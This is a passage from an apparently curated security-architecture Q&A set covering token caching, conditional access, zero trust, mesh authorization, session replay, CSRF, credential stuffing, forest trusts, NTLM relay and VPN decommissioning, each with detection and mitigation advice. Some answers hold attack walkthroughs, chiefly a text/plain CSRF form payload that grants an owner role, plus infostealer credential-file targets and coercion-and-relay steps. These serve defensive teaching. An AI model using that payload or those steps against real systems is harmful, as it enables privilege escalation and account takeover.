K1and publishesK2only. A stale cache holdingK1is a standing grant: attacker-signed tokens verify on those APIs until the TTL expires. This is the case where 24 hours is not a latency problem, it is an open door. - Detection. Log and alert on
kid-not-found 401s and on anykidthat is not in the IdP's current set. A spike of unknown-kid 401s right after a rotation is the signal that a verifier is stale. - Overlap is for planned rollover only. Publishing both keys keeps honest tokens verifying across the change. It does nothing for a revoked key, and it must not be used to paper over one.
Check both directions separately: planned rollover for continuity, emergency revocation for how fast a withdrawn kid stops being accepted.
Curated: · Written: · Reviewed:
Q&A-18Conditional access checks the device at login. Why can a later-compromised laptop still keep the session?
Core
Because the session is a bearer credential, not a device. Conditional Access is an authorization decision made once, at token issuance: the IdP checks the device claim, then hands the client an access token and a refresh token (or a browser session cookie). The resource server validates signature, audience, expiry and scopes locally: it never calls the IdP to ask whether the laptop still has EDR. Compromise after login changes nothing until something forces re-evaluation: token expiry plus refresh, a revocation event the IdP pushes, or a policy that re-checks posture per action.
Where the device claim lives
The device state is a claim minted from a cached compliance record. In Entra ID + Intune, a device's compliance status has a validity period (default 30 days) and devices check in on a schedule (default every 8 hours). Uninstall EDR at 12:12 and Intune does not know until the check-in lapses; Entra keeps serving the cached "compliant" claim until then. Access tokens are self-contained JWTs with a default lifetime of 60–90 minutes; refresh tokens are valid up to 90 days sliding; the "Stay signed in" browser cookie and the primary refresh token on the device run to 90 days. None of those artefacts is bound to the device unless token protection (device-bound tokens via TPM/Windows Hello) is turned on.
| Artefact | Default lifetime | Re-evaluated against device state? |
|---|---|---|
| Access token (JWT) | 60–90 min | No: validated locally by the resource |
| Refresh token | up to 90 days sliding | Yes at redemption, but reads the cached compliance claim |
| Browser SSO cookie / PRT | up to 90 days | Only on interactive re-auth |
| CAE revocation events | seconds–minutes | Yes, but device posture is not a CAE event type |
Continuous Access Evaluation covers user revocation, password change, MFA change and IP/location change. Device compliance change is not in that set, so a laptop that goes non-compliant mid-session keeps its tokens.
Trace (illustrative)
09:00 sign-in, CA requires a compliant device → pass. Access token TTL 75 min, refresh token 90 days, PRT on disk. 10:15 access token expires, client redeems the refresh token → CA re-evaluates, reads the cached "compliant" claim → new access token. 12:12 EDR uninstalled. No signal reaches Intune. 18:05 attacker on the same laptop opens payroll. Resource validates the JWT, sees a valid signature and scope → 200. The session never re-checked the device.
Trade-offs
- Short access-token lifetimes (15 min) shrink the window but multiply IdP traffic and refresh storms; every refresh is a chance for a false lockout when the posture signal is stale.
- Per-action posture checks (step-up authentication, or app-level checks) catch drift on sensitive operations but add latency and make the app depend on the agent being up.
- CAE gives near-real-time revocation for the events it covers, requires client support, and does nothing for posture.
- Token protection stops replay of a stolen token from another machine; it does not stop an attacker operating on the compromised device.
- Not worth it for low-consequence apps, or where the posture signal is unreliable: a flaky agent that locks out finance costs more than the risk it removes.
Failure modes and detection
- Stale compliance claim: compare last Intune check-in against the validity window; alert when the gap exceeds it.
- Fail-open on agent removal: an EDR heartbeat gap, not a CA denial. Alert on missing telemetry.
- Refresh-token replay from another host: Entra non-interactive sign-in logs showing an unmanaged device or a new ASN.
Curated: · Written: · Reviewed:
Q&A-17We put an identity-aware proxy in front of the flat office network and called it zero trust. Did we?
No. An identity-aware proxy in front of a flat network is authenticated perimeter access. Zero trust is a property of every request to every resource, not of the login page.
What the proxy actually enforces: it authenticates the user once, at the edge, and issues a session cookie. From then on the cookie is a bearer token: whoever holds it is the user. The proxy is not in the path for east-west traffic, so host-to-host calls inside 10.20.0.0/16 are authorised by nothing except reachability. That is implicit trust; you moved the VPN concentrator to a SaaS vendor and kept the flat interior.
Zero trust puts the decision at the resource, per request: verified identity, device posture, and context (time, location, sensitivity) evaluated against that specific resource, with least privilege and short-lived credentials. Network location is not a permit.
Worked trace (hypothetical figures, standard shape):
- 02:10. Attacker phishes an analyst; the analyst completes SSO with MFA. The proxy sets a session cookie with a 12-hour lifetime, not bound to a device.
- 02:40. The cookie is exfiltrated from an unmanaged laptop via a malicious browser extension.
- 03:40. The attacker replays the cookie from a different ASN. The proxy sees a valid session: no device check, no re-auth. The request lands on the internal HR app at
10.20.4.11. - 03:40–07:40. The HR app trusts the source subnet and the proxy's identity header, and has no per-request authorisation of its own. 62,000 records are exported.
Under per-resource policy, step 3 fails: the resource demands a device-attested, short-lived token minted for that app, and a replay from a new ASN with no attestation is refused. Step 4 never happens.
| Control | IAP + flat /16 | Per-resource authorisation |
|---|---|---|
| Login | SSO + MFA at the edge | same, plus a check per request |
| East-west | implicit trust by subnet | default deny, mTLS workload identity |
| Stolen cookie | replayable for the session lifetime | bound to device, short TTL, re-evaluated |
| Revocation | none until the session expires | per resource, immediate |
| Blast radius | the whole /16 | one resource |
Failure modes worth naming:
- Bearer cookie replay from an unmanaged device. Detect: same session, new ASN or device fingerprint, impossible travel.
- Posture drift: the device falls out of compliance mid-session and nothing re-evaluates it.
- Proxy bypass: services that accept direct connections on the flat network, or SSRF from an app that can reach the HR database without touching the proxy.
- Non-HTTP protocols (databases, SMB, RDP) that an HTTP proxy never sees, plus service accounts that authenticate once and hold a long-lived credential.
- Header spoofing: apps that trust
X-Forwarded-Userfrom any source on the subnet.
What to do: move the policy decision to the resource. MTLS with workload identity, per-app authorisation, short-lived tokens bound to device attestation, continuous evaluation, default-deny east-west segmentation. Keep the proxy for what it is good at: strong authentication and a single audit point at the edge.
How to know: red-team it. Replay a stolen cookie from a clean machine; connect a non-compliant device; move a session to a new country; revoke a user and time how long the resource keeps serving them; try to reach the HR database directly from a compromised host. If any of those succeed, you have a VPN with a nicer login page.
Curated: · Written: · Reviewed:
Q&A-79The mesh has a wide-open allow, but SPIFFE IDs exist. Are we identity-aware?
No. You have authenticated transport, not authorization. "SPIFFE IDs exist" means the sidecar can prove who the caller is; a wide-open allow means nothing ever asks. Identity-aware means the identity is an input to a decision on every request, not a property of the wire.
Mechanism, in Istio 1.22 with PeerAuthentication STRICT plus AuthorizationPolicy: the sidecar terminates mTLS, validates the peer certificate against the trust bundle, and derives the principal spiffe://<trust-domain>/ns/<ns>/sa/<sa>. That principal is attached to the connection. AuthorizationPolicy is the only component that reads it. No policy, or a policy with empty rules, means every authenticated principal is permitted: the SVID is a claim on the wire, not a gate.
The check that decides the question: call a method from a workload whose service account is not on the allow list and require a 403.
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata: {name: payments-settle, namespace: payments}
spec:
selector: {matchLabels: {app: payments}}
action: ALLOW
rules:
- from:
- source:
principals: ["cluster.local/ns/checkout/sa/checkout-api"]
to:
- operation:
methods: ["POST"]
paths: ["/v1/settle"]
Trace it. curl -X POST http://payments:8080/v1/settle from sa/checkout-api matches principal, method and path → 200. The same call from sa/reporting → principal not listed → 403, and istio_requests_total{response_code="403",reporter="destination"} increments. The same call from sa/checkout-api to /v1/refund → path not listed → 403. That third case is the one teams miss: a valid identity does not scope the method.
Trade-offs: the choice is not default-deny or nothing:
| Stance | Config cost | Blast radius of a mistake |
|---|---|---|
L4 namespace allow (principals: [".../ns/payments/"]) | one policy per namespace | any SA in the namespace reaches every method |
| L4 per-SA allow | one rule per caller | that caller reaches every method on the target |
| L7 per-method allow | rule per caller × method; sidecar parses HTTP | tightest; breaks on non-HTTP ports |
L7 costs CPU in the sidecar and only works where the protocol is HTTP/1.1 or HTTP/2 (gRPC qualifies). Opaque TCP cannot be method-scoped: you get L4 or nothing.
Migration risk is the real reason teams stay wide open. Flipping a live mesh to default-deny breaks everything not explicitly allowed: kubelet probes, Prometheus scrapes, DNS, egress to external APIs, and any caller nobody documented. Stage it: apply default-deny in one namespace with explicit allows for known callers, watch the 403 rate for a day, then roll forward. Do not flip the whole mesh in one commit.
When the stricter stance is not worth it: a namespace that is already a single trust boundary (one team, one SA, workloads mutually trusted) gains little from per-method rules. And if traffic can bypass the sidecar (hostNetwork pods, traffic.sidecar.istio.io/excludeOutboundPorts, a caller in a namespace without injection) policy is theatre. Confirm istio-proxy is injected on both ends and check istioctl proxy-status before trusting any of it.
Failure modes worth naming. PERMISSIVE peer auth accepts plaintext, so a caller with no SVID reaches an allow-all policy unchallenged. L7 rules on a port the sidecar does not classify as HTTP match nothing, which under default-deny fails closed (breaks traffic) and under allow-all fails open (silent). Detect with istioctl x authz check <pod> for the effective policy and the 403 rate for what is actually being denied.
Issued identities are not enforced identities.
Curated: · Written: · Reviewed:
Q&A-96Sessions are 12-hour random cookies over TLS. Why can a stolen cookie from another country still work?
The 60-second answer
Because the cookie is a bearer credential: the server authenticates the value, not the client. At login it generates a random session ID, stores a record keyed by that ID, and sets it as a cookie. On every later request the only thing checked is "does this ID map to a live, unexpired session?" The request's source IP, ASN, country, TLS channel and device are not part of that lookup. TLS protects the cookie while it is on the wire between browser and server; it says nothing about who is holding the browser. So a cookie lifted by a phishing proxy or an XSS payload and replayed from another country is indistinguishable from the legitimate user: same ID, same session record, still inside the 12-hour window.
Randomness and the TTL bound guessing and duration, not replay. 128 bits of entropy means an attacker cannot forge an ID; it does not stop them using one they stole.
Why the server does not notice
Trace a request:
- Attacker sends
GET /adminwithCookie: sid=9f3c.... - Server parses the cookie and looks up
9f3c...in the session store (Redis, a DB row, or a signed stateless token). - Record found,
expires_atin the future → user = alice, authenticated. - Handler runs.
Nothing in steps 2–3 reads X-Forwarded-For, a TLS client cert, or a device fingerprint. Unless the app explicitly compares the request's IP/ASN to the one recorded at login, the replay succeeds.
Why binding is often skipped
IP binding breaks legitimate users: mobile handoffs between cell towers, CGNAT where thousands share one egress IP, corporate proxies, IPv6 privacy addresses that rotate. A user on a train can change ASN mid-session. Teams accept the replay risk rather than log people out constantly.
| Binding | What it checks | Stops foreign replay | Cost |
|---|---|---|---|
| None (typical) | session ID only | no | — |
| IP / ASN pin | request IP vs login IP | mostly | false logouts on mobile/CGNAT; shared-IP collisions |
| Device fingerprint (UA + headers) | coarse client signature | partially | spoofable; breaks on browser update |
| Step-up on new ASN | re-auth / MFA | yes | friction; needs a risk signal |
| Token binding / mTLS / DPoP | cryptographic channel binding | yes | client + infra support, rarely deployed |
| Short TTL + rotation | limits the window | reduces impact | more re-auth |
When not to bind: consumer apps with mobile-heavy traffic, anything behind CGNAT, or where a false logout costs more than a rare replay. Bind when the action is high-consequence (payments, admin, data export) and step up rather than hard-deny.
Detection: alert on session use from a new ASN within minutes of login, or two ASNs concurrently for one session ID. That catches the replay without breaking normal roaming.
Curated: · Written: · Reviewed:
Q&A-93Admin APIs use cookies and have no CSRF token because they are JSON. Is that enough?
No: it's a conditional barrier, not a control. The claim confuses what the client sends with what the server checks.
application/json is not a CORS-safelisted content type. A cross-site fetch that sets it triggers a preflight, and an HTML form cannot set it at all: forms are limited to application/x-www-form-urlencoded, multipart/form-data, and text/plain. So the classic form CSRF dies: provided the server rejects those three types and CORS does not authorize the attacker's origin. Both provisos fail in practice.
Why the barrier leaks. Three independent holes:
- Lenient parsing.
express.json()defaults totype: 'application/json', butexpress.json({type: '*/*'})is a documented option, and plenty of services callJSON.parse(req.body)directly. Atext/plainbody containing valid JSON then parses fine. - Permissive CORS. If the API reflects
OriginintoAccess-Control-Allow-OriginwithAccess-Control-Allow-Credentials: true, the preflight succeeds and the cross-site JSON fetch goes through. (*with credentials is rejected by browsers, so the reflected origin is the dangerous config.) - SameSite gaps. Chrome's Lax-by-default still carries the Lax+POST intervention: a cookie younger than 2 minutes is sent on a cross-site top-level POST. And Lax/Strict are same-site, not same-origin: a compromised
user-content.example.comshares the site withadmin.example.com, so its requests carry the admin cookie.
Trade-offs.
| Defence | Cross-site form POST | Cross-site JSON fetch | Gap |
|---|---|---|---|
SameSite=Lax (default) | blocked, except Lax+POST 2-min window | blocked | same-site subdomain; non-browser clients |
SameSite=Strict | blocked | blocked | breaks top-level GET links into admin; still same-site |
Enforce Content-Type: application/json | blocked | blocked only if CORS is restrictive | server must reject other types; CORS misconfig |
Required custom header (X-CSRF-Token) | blocked | blocked (forces preflight) | CORS must not reflect arbitrary origins |
Origin/Referer check | blocked | blocked | absent on some requests: must fail closed |
| Synchronizer token | blocked | blocked | XSS can read it; must bind to session |
Worked failure. Admin API at admin.example.com, session cookie admin_sid set without SameSite, endpoint POST /api/admin/roles/grant parsed with express.json({type: '*/*'}). An attacker page on evil.example.com submits a form with enctype="text/plain", field name {"role":"owner","user":"attacker","pad":" and value "}. The browser serialises each field as name=value, producing the body:
{"role":"owner","user":"attacker","pad":"="}
text/plain is safelisted, so no preflight. The cookie is attached (Lax+POST window, or SameSite=None). The parser accepts the body as JSON. Trace: form submit → simple request → cookie sent → type:'*/*' parses → 200, role granted.
Detection. Log and alert on admin state changes where Content-Type is not application/json, where Origin is present and not the admin origin, or where Sec-Fetch-Site is cross-site. Those fields ride on every request; a 200 with a mismatched Origin is the signal.
What to ship: reject non-application/json on admin writes, require a synchronizer token or a custom header, set SameSite=Strict; Secure on admin cookies, and pin CORS to an explicit origin allowlist. Test both a foreign form POST and a preflighted JSON fetch from a foreign origin, and require 403 with the cookie still present.
Curated: · Written: · Reviewed:
Q&A-57Login is limited to 10 requests per IP per minute. Why is that not an authentication architecture?
A per-IP rate limit is a traffic control, not an authentication architecture. It caps how many requests one address can send. It does not decide who is authenticating, how a password is verified, or what happens after a correct credential is presented. Ten requests per IP per minute is a reasonable first layer; it is not the thing that stops credential stuffing.
Assumptions: password login with optional SMS MFA, no device binding, no per-account throttling in place today.
What an authentication architecture actually contains:
- Credential storage. A memory-hard hash (Argon2id, or bcrypt at cost ≥ 12) so an offline dump is expensive to crack.
- Phishing-resistant MFA. WebAuthn/passkeys for privileged and high-value accounts, not SMS.
- Per-account lockout or step-up. After N failures on one username, require a second factor or a cooldown, regardless of source IP.
- Breach-password blocking at set and change time.
- Stuffing detection keyed on the username and the login success rate, not the 429 count.
Why per-IP alone fails: a botnet spreads attempts across thousands of addresses, each staying under the cap. Carrier NAT and corporate egress put thousands of honest users behind one address, so the cap punishes them while the attacker is unaffected. IPv6 hands out /64s, so a single host can rotate through 2^64 addresses.
Worked example (figures from a red-team exercise, labelled as such):
| Control | Attempts | Accounts compromised |
|---|---|---|
| 10/min per IP only | 2.1M passwords in 5h from 4,000 IPs | 1,140 |
| Per-account step-up after 5 failures | halted at 5 per account | 0 on retest |
4,000 IPs at 10/min is 40,000 attempts/min if saturated; the run averaged ~7,000/min, so every address stayed under the cap. The 1,140 hits were accounts with SMS MFA off.
Failure modes worth naming: hard lockout is itself a DoS vector. An attacker who knows a username can lock the real user out, so prefer step-up over a permanent lock. SMS MFA falls to SIM swap. And stuffing that succeeds slowly, one attempt per account per hour, never trips an IP cap at all.
Detection: alert on per-username failure rate and on the ratio of successful logins to distinct source IPs. A rising success count across many IPs is the stuffing signal; a 429 count is not.
When per-IP is the right tool: as one layer against naive single-host brute force, and for cost control on expensive endpoints. It is a layer, not the architecture.
Curated: · Written: · Reviewed:
Q&A-44Operators use the same workstation for email and for Kubernetes admin. What should the architecture separate?
Answer in the first two minutes
Separate the admin plane from the data plane along four axes, not one: identity, endpoint, credential lifetime, and network path. A workstation that reads mail and runs kubectl collapses all four into a single trust boundary, and that boundary is only as strong as the weakest thing on it: the browser.
- Identity. A distinct admin account in a distinct group, with phishing-resistant MFA (FIDO2/WebAuthn). Not
alice@holding a second role. - Endpoint. A hardened admin workstation or virtual admin desktop: Microsoft's PAW / Tier 0 device model. No mail client, no general browsing, no unmanaged software.
- Credential lifetime. Short-lived, per-session credentials: OIDC tokens or client certs measured in minutes to hours. Not a kubeconfig holding a year-long client cert in
~/.kube/config. - Network path. Admin endpoints reach the API server over a known egress path, so the audit log can tell "admin identity from admin network" apart from "admin identity from anywhere".
Why the shared laptop is the failure
The API server is Tier 0: whoever can kubectl exec into a pod or read a Secret can usually reach the node's cloud instance metadata and the node's IAM role. So a mail-reading laptop is not "a laptop with kubectl on it": it is a Tier 0 control point with a mail client attached.
| Identity | Endpoint | Credential | Can reach | |
|---|---|---|---|---|
| Admin plane | alice-admin, FIDO2, Tier 0 group | PAW/VDI, mail blocked | OIDC 15 min, or cert 8 h | API server, cloud IAM |
| Data plane | alice, password + push | general laptop | session cookie | dashboards, app UIs |
A worked trace (hypothetical, but the mechanics are the real ones)
09:14. Operator runs kubectl get pods. The kubeconfig uses an exec credential plugin; the plugin caches an ID token and a refresh token under ~/.kube/cache/.
11:02. A PDF from a recruiter drops an infostealer. It reads ~/.kube/config, the plugin cache, ~/.aws/credentials, and browser cookie stores.
11:03. The attacker replays the refresh token from a VPS. The IdP issues a fresh ID token, because the refresh token is valid and nothing binds it to the device.
11:04. kubectl get secrets -A succeeds. RBAC says cluster-admin.
11:05. The audit log shows user.username=alice-admin, sourceIPs=[203.0.113.7], userAgent=kubectl/v1.29.0, verb=get, objectRef.resource=secrets.
Step 11:03 is the one to break. Bind the token to the device: an mTLS client cert issued to the admin workstation, or a Conditional Access policy requiring a compliant device, and the replay fails at the IdP instead of at the cluster.
Detection
Alert on admin identities appearing from non-admin source IPs or unexpected user agents:
jq -r 'select(.user.username|test("admin$"))
| [.requestReceivedTimestamp, .user.username, .sourceIPs[0], .verb, .objectRef.resource] | @tsv'
Also alert on pods/exec, secrets reads, and clusterrolebinding creation by a human identity.
Trade-offs and when not to
PAWs cost money and friction: a second device, a second login, slower incident response at 03:00. That is why break-glass accounts exist: sealed, monitored, and used with an alert, not as the daily path. For a dev cluster with no customer data and no cloud IAM attached, one laptop is a defensible choice. For anything that can read production Secrets, it is not.
Verification
Don't call it done because the policy exists. Try admin API calls from a mail-enabled workstation and require a hard drop; then confirm the same call succeeds only from the admin desktop, and that the audit log records the denial.
Curated: · Written: · Reviewed:
Q&A-41SOC 2 sampling passed. Why do you still not trust access revocation?
What I'd say first
A passed sample tells you the control worked on the items the auditor drew from the population you handed them. It says nothing about identities outside that population, and little about the months the draw didn't cover. So "SOC 2 sampling passed" is evidence about a control, not proof that revocation works.
Why revocation fails silently
Deprovisioning is a delete fanned out across systems that don't share a transaction: IdP, SSO, VPN, cloud IAM, SSH keys, API tokens, SaaS apps, certificates. Each has its own propagation and its own source of truth. Failures are omissions, not errors: nothing throws, nothing pages. A leaver who still holds a VPN certificate looks exactly like one who doesn't, until someone connects.
Two gaps make a clean sample unsurprising:
- Population completeness. The auditor samples from the leaver list you provide. Contractors provisioned directly in the VPN, service accounts, and break-glass identities never appear on it.
- Period coverage. A Type II report covers a window, but the items tested are a draw. A draw that lands in a clean stretch is still a valid sample.
Illustrative example (figures invented to show the shape):
| Window | Leavers | Median time to revoke | Live credentials found |
|---|---|---|---|
| April (sampled) | 25 | 1 day | 0 |
| May–March (not sampled) | 1,140 | 11 days | 22 VPN certs |
The 22 certificates belonged to contractors who were never in the HRIS feed the sample was drawn from. 1,140 leavers × 11 days ≈ 12,500 person-days of standing access nobody measured.
What I'd actually do, and what it costs
Continuous reconciliation is not free and not always warranted. The cheap version is a daily join of the HRIS leaver feed against IdP, VPN, and cloud IAM, alerting on any identity still active N hours after termination. Build cost is a few days of engineering; the recurring cost is triage.
That triage is where these programs die. Transfers, rehires, leaves of absence, and contractors with no HRIS record all fire. If the reconciliation isn't tuned, the alert channel gets muted within a month and you're back to trusting the annual sample: now with a dashboard that says you're covered.
So the proportionate choice depends on the population:
- Annual sample plus targeted spot checks is defensible when the population is small, provisioning is fully SCIM-driven from one IdP, and there's no standing privileged access. Spot-check the highest-privilege leavers each quarter: 20 is enough to catch a broken path.
- Continuous reconciliation earns its cost when you have contractors, standing privileged access, manual provisioning, or credentials outside the IdP (certificates, SSH keys, API tokens). Those are the populations a sample structurally cannot see.
Failure modes and how I'd detect them
- HRIS lag: termination recorded after the last working day, so revocation starts late. Detect by comparing the HRIS termination timestamp to the IdP disable timestamp and alerting on gaps over 24 hours.
- Orphaned credentials: certificates, keys, and tokens not tied to an IdP identity. Detect by inventorying them and reconciling against active identities: this is the check that surfaced the 22.
- Break-glass and service accounts excluded from automation. Detect by tagging them and reviewing on a fixed cadence instead of expecting the leaver pipeline to catch them.
A clean April is not a clean year, and a clean sample is not a complete population.
Curated: · Written: · Reviewed:
Q&A-42IT connected the acquired company's directory to ours so people can work on day one. What is the architectural risk?
The risk is that a directory trust is a standing authentication path, not a migration tool. Connecting the acquired forest makes every identity in it a security principal your forest will authenticate and can authorize, and that expansion is permanent in practice: the trust is created for a six-month cutover and removed never. You have extended your authentication boundary to an estate whose patching, tiering and admin model you do not control.
Mechanism
A forest trust is transitive at the forest level: every domain in the acquired forest can authenticate to every domain in yours, and the reverse if it is two-way. The trust itself grants no rights. It makes foreign SIDs resolvable and usable in ACLs, group membership and delegation, and that is where the risk lands.
Trace, ACQ\alice opening a share on CORP\fileserver:
- Alice's workstation gets a TGT from an ACQ DC.
- It asks for cifs/fileserver. The ACQ DC sees the SPN belongs to CORP and returns a referral TGT, krbtgt/CORP@ACQ.
- The workstation presents that to a CORP DC and receives the service ticket.
- The CORP DC applies SID filtering to the incoming referral TGT, stripping any SID that is not under ACQ's own domain SID.
- fileserver evaluates the ACL against the surviving SIDs.
Step 4 decides everything. With SID filtering on, an ACQ domain admin cannot forge a CORP domain-admin SID. With it off, or with SID history carried in from the acquisition's own migration, they can.
| Trust attribute | Flag | What it decides |
|---|---|---|
| Quarantined domain (SID filtering) | 0x4 | Whether SIDs outside the trusted domain's own SID are stripped |
| Treat as external | 0x40 | Forces SID filtering on regardless |
| Cross-organization (selective auth) | 0x10 | Whether any acquired user can authenticate anywhere, or only where "Allowed to authenticate" is set |
| Forest transitive | 0x8 | Whether all domains in both forests are in scope |
Read them with Get-ADTrust -Filter * | Select Name,TrustAttributes. SID filtering is on by default for forest trusts created with the New Trust Wizard; a trust created by script or netdom may not be. Check, do not assume.
Failure modes
- SID filtering off, or SID history present. Detection: TrustAttributes lacks 0x4, and event 4675 ("SIDs were filtered") stops appearing on the DC.
- Forest-wide authentication left at the default. Any acquired account can authenticate to any parent resource granting Authenticated Users. Detection: audit tier-0 ACLs for Authenticated Users and Everyone.
- Unconstrained delegation on acquired hosts. A compromised acquired server harvests parent TGTs. Detection: enumerate userAccountControl with TRUSTED_FOR_DELEGATION (0x80000).
- The trust has no owner and no expiry. Detection: no migration milestone references it, and nobody can say who removes it.
Worked example (hypothetical figures)
A 4,000-seat acquisition, trust scoped to a 6-month coexistence window. At month 30 the trust is still two-way, forest-wide, SID filtering on, and the acquired estate has 3 domain controllers that have not been patched in 14 months. An acquired service account with unconstrained delegation is compromised; it holds 2 parent TGTs, one of which belongs to a tier-0 admin who logged in to troubleshoot. Blast radius is not the acquired forest: it is whatever those 2 TGTs can reach. The trust cost nothing to keep and would have cost a week of helpdesk tickets to remove, which is exactly why it is still there.
Before calling it safe
Compromise an acquired identity and walk it against parent resources, delegation and privileged groups. Then rehearse trust removal, staged migration, rollback and decommission. A forest trust expands authorization; it does not merge domain authority.
Curated: · Written: · Reviewed:
Q&A-92Plant historians now sit on the corporate IdP so dashboards are easy. What trust did we create?
Direct answer. You created an authentication trust from the corporate identity plane into the plant, and an administrative trust back the other way. Concretely: the historian now accepts assertions minted by the corporate IdP (Kerberos tickets if it is domain-joined, SAML/OIDC tokens if it is federated) so any principal the corporate IdP will vouch for can authenticate to it. And the historian's machine and service accounts now live in the corporate directory, so corporate admins, GPO and helpdesk reach into the plant. The trust is transitive: compromise of the corporate identity plane is now a path to OT, without the attacker ever touching an OT credential. The dashboards only needed read access to historian data; the trust you created is authentication and administration, which is broader.
How the trust actually flows. If the historian is domain-joined, its SPN is registered in the corporate forest and its tickets are issued by a corporate DC. That makes the DC a Tier-0 asset for the plant: an attacker who compromises a DC can mint a service ticket for the historian's SPN and authenticate without knowing any OT password. If instead you federated, the historian validates a signed token, so the IdP signing key or an IdP admin becomes the equivalent of domain admin for the plant. Federation is narrower (no machine account, no GPO, no DC in the OT path) but it still trusts whoever can sign a token.
What you gave up. The historian used to be a standalone box with local accounts and no route from the corporate network. That isolation was the control. Now the corporate identity plane sits in the OT trust path, and corporate identity incidents become OT availability incidents.
Failure modes and detection.
- Corporate ransomware encrypts or disables the DCs; historian logons fail and operators cannot authenticate. Detect by alerting on OT-to-corp-DC authentication failures, and keep break-glass local accounts that are not in the directory.
- Kerberoasting or a silver ticket against the historian's SPN. Detect on Windows 4769 events with RC4 encryption type, or anomalous SPN requests.
- A corporate helpdesk resets an OT service account because it appears in the same directory. Detect by auditing who holds reset rights over OT accounts.
- IdP admin or signing-key compromise mints any identity. Detect on new signing certificates and impossible-travel on IdP admin accounts.
Worked example (hypothetical figures). A plant joins historians to the corporate forest for dashboard SSO. Corporate ransomware takes out the DCs on a Friday; the historian keeps running but nobody can log in to it, and the packing line stops for 16 hours until local accounts are recovered. Safety held by luck, not design. The same plant later moves to a read-only diode export for dashboards and a recorded MFA/JIT jump host for administration; a repeat drill shows the line running through the corporate incident.
| Bridge | What OT accepts | Corporate compromise reaches OT via |
|---|---|---|
| Historian domain-joined | Kerberos tickets from corp DC | DC compromise, then a service ticket for the historian SPN |
| Historian federated to corp IdP | Signed SAML/OIDC token | IdP signing key or IdP admin |
| Diode export plus brokered jump | No identity assertion, data only | Nothing on the data path; the jump is separately brokered |
How I would settle it. From a corporate identity, ideally a compromised one, attempt an OT logon and historian admin. The test passes only if both are denied and the attempt is logged. If either succeeds, the trust you created is wider than the dashboards needed.
Curated: · Written: · Reviewed:
Q&A-62NTLM remains for one print server. Why is that an estate-wide architecture issue?
The 90-second answer
Yes, and the reason is that NTLM is negotiated, not chosen. A client and server fall back to it whenever Kerberos isn't available or the target still accepts NTLM. So one print server that answers NTLM keeps that fallback alive for every host an attacker can coerce into authenticating to it. You cannot turn on "deny NTLM" estate-wide while one island still answers, and that single control is what removes the relay path everywhere else. The island isn't a local exception; it's the reason the estate-wide control stays off.
The second reason is that the print server is a relay target, not just a client. Its spooler identity and machine account are reachable, and it speaks the protocol attackers coerce.
Mechanism
NTLM authenticates with a challenge-response. The server sends a random challenge; the client returns a response derived from the user's NT hash and that challenge. What an attacker captures is NetNTLMv2, a response bound to one challenge. It is relay material or offline cracking material. It is not the NT hash, so it cannot be used for pass-the-hash; that requires reading the hash from SAM, LSASS or a DCSync. People conflate the two and then mis-scope the fix.
Relay works when the target doesn't require signing. SMB signing, LDAP signing plus channel binding, and EPA on HTTP are what break it. Coercion (PrinterBug, PetitPotam, DFSCoerce) is what makes a machine authenticate to you in the first place.
Worked example (hypothetical)
A user on the corporate VLAN opens a document. An attacker on the same VLAN triggers a coerced authentication from that user's workstation to a listener, captures the NetNTLMv2, and relays it to an SMB service with signing disabled. The relayed session carries the user's own SMB rights.
| Step | What happens | Control that stops it |
|---|---|---|
| 1. Coerce | Attacker forces the workstation to authenticate to a listener | Disable the spooler where it isn't needed; block outbound NTLM from user VLANs |
| 2. Capture | Listener receives a NetNTLMv2 response bound to one challenge | Nothing at this step; the response is already out |
| 3. Relay | Response is replayed to an SMB service that doesn't require signing | Require SMB signing on every server, including the print server |
| 4. Access | Relayed session reads 3 file shares holding 70,000 contracts | Least privilege on the shares; tiered admin so a user token can't reach them |
The print server matters because it is both a relay target and the reason the estate-wide deny stays off. Require signing on it and it stops being a target; retire its NTLM dependency and the deny becomes enforceable.
What to do
Put the print server on its own VLAN. Allow NTLM only from the spooler identity that needs it, and only to that host. Require SMB signing and LDAP signing with channel binding everywhere. Block outbound NTLM from user VLANs. Name an owner and a replacement date. An island with no expiry becomes permanent, and three years of "we'll migrate next quarter" is how it got here.
How you'd know it worked
Run the coercion and relay from a user subnet in a drill. If the relay fails at signing and the print island still prints, the isolation holds. If the relay succeeds, the island isn't isolated, it's just quiet.
Curated: · Written: · Reviewed:
Q&A-69The old VPN was turned off. Why could partners still reach an internal API?
The short answer
The VPN was a path, not the control. Partners still reached the API because the thing that actually authorized them: a source-IP allow-list on the edge firewall and a client certificate the API gateway still accepted: lived outside the tunnel and was never touched when the concentrator was powered off. Turning off the VPN removed one route into the network; it did not revoke the credential or the rule that let the partner in through a different route.
Why the trust outlived the tunnel
Access control is enforced wherever the request is evaluated, not where it enters. A partner call to api.internal.example.com typically crosses several independent enforcement points:
- DNS: resolves the name to a public edge address.
- Edge firewall / security group: matches the source IP against an allow-list.
- Load balancer listener: accepts 443.
- API gateway: validates the mTLS client cert or API key.
- Application: checks the partner's tenant scope.
The VPN concentrator sat on a parallel path (partner → tunnel → 10.0.0.0/8). Powering it off deleted that path only. Every enforcement point above is evaluated on the public path, and none of them consults the concentrator.
A worked trace (hypothetical)
Partner host 198.51.100.7 → DNS → 203.0.113.10:443 → edge firewall rule allow 198.51.100.0/24 → 203.0.113.10:443 (still present) → gateway mTLS: client cert CN=partner-billing, expires in 14 months, not on the CRL → billing API returns invoices.
The concentrator's absence never appears in that path. That is the whole answer.
Deciding which layer is the real control
When you decommission, don't ask "is the VPN off?" Ask "what evaluates the request, and does it still say yes?" Two criteria decide it:
- Is the control in the data path independent of the tunnel? If the firewall rule or gateway policy matches on the public path, the tunnel is irrelevant.
- Is the credential still valid? A cert that isn't revoked and a key that isn't rotated still authenticate.
Alternatives people reach for, and why they mislead: treating the architecture-workshop sign-off as the control (it's a document, not an enforcement point); treating the concentrator power-off as revocation (it's a route removal); treating "no traffic in the VPN logs" as proof (the traffic left the VPN path entirely).
Failure modes and how you'd see them
- Allow-list left on the edge firewall: detection: probe from the retired partner range, expect drop.
- Client cert not revoked: detection: check CRL/OCSP and the gateway's trusted CA list.
- DNS still resolving to a live edge: detection: query the name from outside.
- API key still active: detection: enumerate gateway credentials against the partner list.
- Cloud security group still open: detection: config diff against the decommission baseline.
Verification
From the retired partner address space, call the old API and require a drop; show the certificate's revocation status; confirm the DNS record is gone. If any of those still answers, the decommission isn't done: the VPN being off is not evidence of anything.
Curated: · Written: · Reviewed:
Q&A-14Microservices share one API key in Kubernetes secrets, rotated yearly. What should replace that?
